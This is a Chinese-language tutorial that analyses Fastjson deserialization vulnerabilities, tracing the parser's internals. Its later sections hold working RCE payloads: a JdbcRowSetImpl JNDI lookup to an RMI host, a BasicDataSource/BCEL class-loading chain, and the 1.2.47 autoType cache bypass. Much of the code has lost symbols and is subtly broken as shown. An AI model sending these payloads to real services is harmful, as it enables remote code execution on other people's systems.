Fastjson反序列化Fastjson 是一个 Java 库可用于将 Java 对象转换为其 JSON 表示形式。它还可以将 JSON 字符串转换为等效的 Java 对象。Fastjson 可以处理任意 Java 对象包括没有源代码的现有对象。版本区间风险等级备注 1.2.24极高没有任何防护直接 RCE。1.2.25 - 1.2.47高存在通杀绕过 Payload。1.2.48 - 1.2.80高2022 年爆出的 Throwable 绕过漏洞。1.2.83安全1.x 支线的安全版本需配合safeMode更佳。2.0.x️安全全新架构设计上天然防御此类反序列化攻击。一、了解调用过程dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.24/version/dependencyPerson.javapackage Fastjson; public class Person { String name; int age; public Person() { System.out.println(Fastjson 调用了无参构造方法); } public Person(String name, int age) { this.name name; this.age age; } public String getName() { System.out.println(getName被调用了); return name; } public void setName(String name) { //Runtime.getRuntime().exec(open -a Calculator.app); System.out.println(setName被调用了); this.name name; } public int getAge() { System.out.println(getAge被调用了); return age; } public void setAge(int age) { System.out.println(setAge被调用了); this.age age; } // public ListString getTags() { // return new ArrayList(); // } }fastjson.javapackage Fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class fastjson { public static void main(String[] args) throws Exception { String s {\type\:\Fastjson.Person\,\name\:\test\,\age\:20}; JSONObject obj JSON.parseObject(s); System.out.println(obj); } }运行可以看到调用了一系列方法断点在一个set方法查看调用路径找到重点函数com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)在内部走到了反序列化config.getDeserializer(clazz);返回的对象FastjsonASMDeserializer_1_Person是没办法点进去看代码的ASM 框架动态生成的一个 Java 类为了看到中间过程要让config.getDeserializer(clazz);返回其他对象继续深入config.getDeserializer(clazz);先找缓存没找到走到312行再进入函数找过程检查不符合任何预设的Deserializer实例最终走到461行derializer createJavaBeanDeserializer(clazz, type);去自己造了构造过程先获取类信息JavaBeanInfo beanInfo JavaBeanInfo.build(clazz, type, propertyNamingStrategy);下面开始深入build内部build函数代码很长折叠起来重点看标记的三个遍历。遍历目的是获得属性并且在构造属性FieldInfo过程中对于 没有可用的 setter只有 getter或字段为只读final时getOnly置为true。第一轮遍历Setter 搜索器逻辑扫描所有满足条件的set方法。筛选标准方法名长度 4、非静态、参数个数为 1、返回类型为void或当前类支持链式调用。别名处理优先识别方法上的JSONField里的name。命名转换剥离set前缀处理set_、setF等命名习惯并将首字母转小写受compatibleWithJavaBean配置影响。作用这是最标准的反序列化路径。它确定了哪些属性可以通过调用Setter 方法来赋值。第二轮遍历Public Field 补漏器逻辑检查类中所有public修饰的成员变量。筛选标准必须是public、非静态static。Final 特例只有Map、Collection或Atomic原子类这种“引用不可变但内容可变”的final字段才会被接受。去重逻辑如果第一轮扫描 Setter 时已经处理过同名属性这一轮直接跳过。作用寻找那些没有 Setter 方法但依然公开的字段。它允许 Fastjson 直接通过反射对字段进行赋值。第三轮遍历特定 Getter 扫描器逻辑寻找返回类型为“容器”的只读属性。筛选标准方法名以get开头且首字母大写、无参数、非静态。核心限制返回类型必须是Map、Collection或Atomic系列。排除逻辑如果该属性在之前的 Setter 或 Field 扫描中已经存在则跳过。作用处理“只有 Getter 没有 Setter”的集合类属性。Fastjson 会先调用get拿到这个集合对象的引用然后通过addAll或putAll将数据填充进去。build完成完成JavaBeanInfo beanInfo JavaBeanInfo.build(clazz, type, propertyNamingStrategy);返回后继续最后走到591返回我们想要一个可以看到过程的对象比如586行那样返回那么寻找办法让函数在586返回需要asmEnablefalse​ 代码逻辑 共 9 种情况会把asmEnable设为falsebeanInfo.fields.length 200字段数超过200。defaultConstructor null !clazz.isInterface()无默认构造器且不是接口。某字段的fieldInfo.getOnly true只读字段有一个只有get没有set且返回类型是Map或Collection的字段getOnly就会被标记为true。字段类型是一个非公开的类字段类型是内部类且非staticfieldClass.isMemberClass() !Modifier.isStatic(...)。字段的成员名不满足ASMUtils.checkNamefieldInfo.getMember()! null !ASMUtils.checkName(...)。字段上有JSONField注解且满足任一注解名不合法、format()非空、或deserializeUsing()非Void.class。字段类型是enum但其反序列化器不是EnumDeserializer。类本身是内部类且非staticclazz.isMemberClass() !Modifier.isStatic(clazz.getModifiers())。简单易用的尝试一下2会在build报错3可以其他的太复杂不便操作也没必要只是为了看内部逻辑给类加一个函数即可public ListString getTags() { return new ArrayList(); }进入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze 593行进入setValue函数setValue在96行调用invoke调用了对象的set方法整条路串起来了总结fastjson低版本可以用type指定反序列化的类调用get/set方法优先考虑set后考虑get因为先执行set不出错才能正常执行get。目标就变成找到类这个类的set方法有危险方法。二、解析可用目标类可访问性类必须是public的且有一个public的无参构造方法否则 Fastjson 无法通过反射实例化它。触发点Source类中必须有符合条件的Setter 方法、Getter 方法针对特定的集合/Map或者在无参构造函数中有逻辑。危险操作Sink在这些方法内部必须最终执行了某些危险操作比如JNDI 查询调用了lookup()最经典如JdbcRowSetImpl。字节码加载调用了defineClass()如TemplatesImpl。文件读写/命令执行直接调用了Runtime.exec()或写入敏感文件。fastjson在1.2.24下有两个通用的payloadJdbcRowSetImpl和BasicDataSource。JdbcRowSetImpl类需要出网JdbcRowSetImpl.setAutoCommit() - connect()-lookup()String s {\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\rmi://localhost:1099/Groovy2bypass\,\autoCommit\:true}; JSONObject obj JSON.parseObject(s); System.out.println(obj);BasicDataSource类目标要有tomcat-dbcp依赖dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-dbcp/artifactIdversion9.0.20/version/dependencyClassLoaderclassLoadernewClassLoader();byte[]bytesFiles.readAllBytes(Paths.get(../EXP.class));StringcodeUtility.encode(bytes,true);classLoader.loadClass($$BCEL$$code).newInstance();上面的四行代码可以调用执行EXP恶意类的无参构造函数继续有可以调用classLoader.loadClass的函数basicDataSource.getConnection这样找到fastjson可用的get入口ClassLoaderclassLoadernewClassLoader();byte[]bytesFiles.readAllBytes(Paths.get(../EXP.class));StringcodeUtility.encode(bytes,true);//classLoader.loadClass($$BCEL$$ code).newInstance();BasicDataSourcebasicDataSourcenewBasicDataSource();basicDataSource.setDriverClassLoader(classLoader);basicDataSource.setDriverClassName($$BCEL$$code);basicDataSource.getConnection();完整如下byte[]bytesFiles.readAllBytes(Paths.get(../EXP.class));StringcodeUtility.encode(bytes,true);Stringpayload2{\type\:\org.apache.tomcat.dbcp.dbcp2.BasicDataSource\,\driverClassLoader\:{\type\:\com.sun.org.apache.bcel.internal.util.ClassLoader\},\driverClassName\:\$$BCEL$$code\};JSON.parseObject(payload2);还有一个TemplatesImpl类要求比较苛刻后面有空补一下三、1.2.47缓存绕过com.alibaba.fastjson.parser.DefaultJSONParser#parseObject中增加了config.checkAutoType();观察config.checkAutoType函数寻找绕过的方法。该函数的逻辑本质是白名单机制 缓存查找 显式注解信任 强类型约束 (expectClass) 全局开关黑名单过滤。只要满足其中任意一条合法的安全路径函数就会返回对应的Class对象。可能成功的选择只有缓存查找了也就是clazz TypeUtils.getClassFromMapping(typeName);这里那么就想办法在mappings里面加东西。 一路找到一条链 MiscCodec#deserialze()-TypeUtils#loadClass()-mappings.put(className, clazz)。那么这个MiscCodec其实是一个预设的序列化反序列化器在前面说到的DefaultJSONParser#parseObject中需要一个反序列化器我们当时为了看到内部代码使用了给自己写的类增加一个返回List的get方法再去看ObjectDeserializer deserializer this.config.getDeserializer(clazz);内部代码在预设里面有很多可以找到Class类会使用MiscCodec而进入MiscCodec#deserialze()又会在类型为Class时调用下一步TypeUtils#loadClass()所以可以传入一个Class类赋值变量val为恶意类全量名变量名不是val会报错逻辑在MiscCodec#deserialze()中这样就将恶意类存入缓存再次加载恶意类就会绕过检查完成加载。dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-dbcp/artifactIdversion9.0.20/version/dependencyStringpayload{{\type\:\java.lang.Class\,\val\:\com.sun.rowset.JdbcRowSetImpl\},{\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\rmi://localhost:1099/Groovy2bypass\,\autoCommit\:true}};JSON.parseObject(payload);